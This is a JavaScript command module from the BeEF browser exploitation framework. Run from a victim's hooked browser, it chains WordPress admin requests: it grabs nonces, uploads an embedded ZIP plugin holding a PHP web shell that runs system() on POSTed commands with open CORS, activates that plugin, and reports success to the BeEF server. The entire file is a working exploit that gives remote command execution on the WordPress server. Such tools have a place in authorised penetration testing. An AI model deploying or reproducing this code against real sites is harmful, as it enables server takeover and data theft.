//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//


beef.execute(function() {
  var wordpress_url = '<%= @wordpress_url %>';
  var admin_directory = '/wp-admin';

  log = function(data){
    beef.net.send("<%= @command_url %>", <%= @command_id %>, data);
    beef.debug(data);
  };

  getwpnonce = function(uri){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", uri + '/plugin-install.php?tab=upload');
    xhr.onload=function() {
      var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(xhr.responseText);
        if (res.length == 1) {
          nonce = /[a-z0-9]{10}/.exec(res[0]);
          //continue only if we have extracted a nonce => upload the plugin
          uploadBeefBindPhp(uri, nonce);
        }
        else {
          log('Couldn\'t extract _wpnonce');
	}
    }
    xhr.send();
  }

  uploadBeefBindPhp = function (uri, nonce){
    var xhr = new XMLHttpRequest();
    // for WebKit-based browsers
    if (!XMLHttpRequest.prototype.sendAsBinary) {
      XMLHttpRequest.prototype.sendAsBinary = function (sData) {
        var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
        for (var nIdx = 0; nIdx < nBytes; nIdx++) {
           ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
        }
        /* send as ArrayBufferView...: */
        this.send(ui8Data);
      };
    }
    xhr.open("POST", uri + '/update.php?action=upload-plugin',true);
    boundary = "BEEFBEEF";
    xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=" + boundary );
    // zip contains beefbind.php: <?php header("Access-Control-Allow-Origin: *"); echo @system($_POST['cmd']); ?>
    post_data = "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
    post_data += "\r\n";
    post_data += nonce + "\r\n";
    post_data += "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
    post_data += "\r\n" + uri + "/plugin-install.php?tab=upload\r\n";
    post_data += "--" + boundary + "\r\n";
    post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
    post_data += "filename=\"beefbind.zip\"\r\n";
    post_data += "Content-Type: application/octet-stream\r\n";
    post_data += "\r\n";
    post_data += "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xf0\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x6d\x50\x5d\x6b\x02\x31\x10\x7c\xf7\x57\x2c\x52\xf0\x14\xce\x3b\xa5\xf4\xc1\x96\xea\x79\xd5\x22\x88\x27\xda\x0f\x4a\x29\xe5\xcc\xad\x26\x6d\x2e\x09\x49\xe4\xea\xbf\xef\xc6\x17\xfb\xd0\xc7\xdd\x99\xd9\x9d\x99\xbb\xb1\xe1\xa6\x95\xf4\x7a\x2d\xe8\xc1\x5a\x1e\x0f\x42\xc1\xaa\xac\x71\x04\x3b\xc4\xfd\x4e\xa8\xea\x0f\xf0\xbc\x59\x8c\x80\x7b\x6f\x46\x49\x12\x60\x63\xf5\x17\x32\xdf\x67\xba\x0e\xac\x07\x74\xcc\x0a\xe3\x85\x56\x23\x98\xe2\x6c\x0e\x41\x0f\x8e\xa3\x94\xd0\x08\xcf\x21\x2f\x36\xdb\x7e\xa0\xbe\xa0\x75\x67\xda\xa0\x9f\x86\x39\x3b\x7a\xae\x2d\xa9\x4a\xeb\x61\x89\xc6\xa0\x72\x97\xfd\xe5\xb1\xa3\xcf\x9e\x4e\x79\xb4\xe1\x6b\xb2\xab\x4b\xe5\x6d\x19\xa8\x4b\xc1\x48\x44\xc6\x73\x6d\x4e\x56\x1c\xb8\x87\x88\x75\x61\x98\xa6\x37\xf1\x30\x1d\x5c\xc3\x6b\x59\x21\x64\x92\x69\xab\x20\x86\x86\xa6\x49\xf0\x77\xb6\xd7\x57\xe8\x69\x39\xb5\xba\x71\x68\x61\xf6\x63\xa4\x16\xbe\x0c\x51\x60\x6e\xa9\x8f\x46\xdb\x6f\x88\x42\xa8\x2e\xf1\xfe\xef\x80\x80\x2d\x22\x78\x8e\xb0\x17\x12\xa1\x53\x69\x96\xe4\xc5\xfa\x6d\xb1\x7a\xec\xc0\x9e\x72\x30\xb2\x26\xd4\x01\x0c\xda\x5a\xb8\xd0\x00\x39\x4f\x5a\x1c\xc9\x8c\x8d\xda\x19\x63\xe8\x5c\x9c\x6b\xca\xa4\x65\x9c\x49\xa9\x9b\xb8\xa0\x2c\x82\x9a\xea\xb5\xbb\xb7\x80\x8c\x6b\x98\xb8\x93\xf3\x58\x47\x57\x9f\xeb\x62\xfb\xf4\xde\x61\x75\xd5\xf9\x20\x70\x7c\xdf\xfa\x05\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xed\x41\x00\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x43\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xaa\x00\x00\x00\xd5\x01\x00\x00\x00\x00";
    post_data += "\r\n";
    post_data += "--" + boundary + "--\r\n"

    xhr.sendAsBinary(post_data);
    xhr.onload=function() {
      //extract the nonce for activating the plugin
      var res = /plugin=beefbind.*_wpnonce=[a-z0-9]{10}/.exec(xhr.responseText);

      //activate plugin only if there is a nonce
      if (res.length == 1) {
        nonce = /[a-z0-9]{10}/.exec(res[0]);
        activatePlugin(uri,nonce);
      }
      else {
        log('Cannot activate plugin, no activation nonce available.');
      }
    }
  }

  activatePlugin = function(uri,nonce){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", uri + '/plugins.php?action=activate&plugin=beefbind/beefbind.php&_wpnonce=' + nonce);
    xhr.onload=function() {
      log('BeEF bind plugin has been uploaded and activated');
    }
    xhr.send();
  } 

  //get the wordpress nonce first, then upload the plugin and finally activate the plugin
  getwpnonce(wordpress_url + admin_directory); 

});

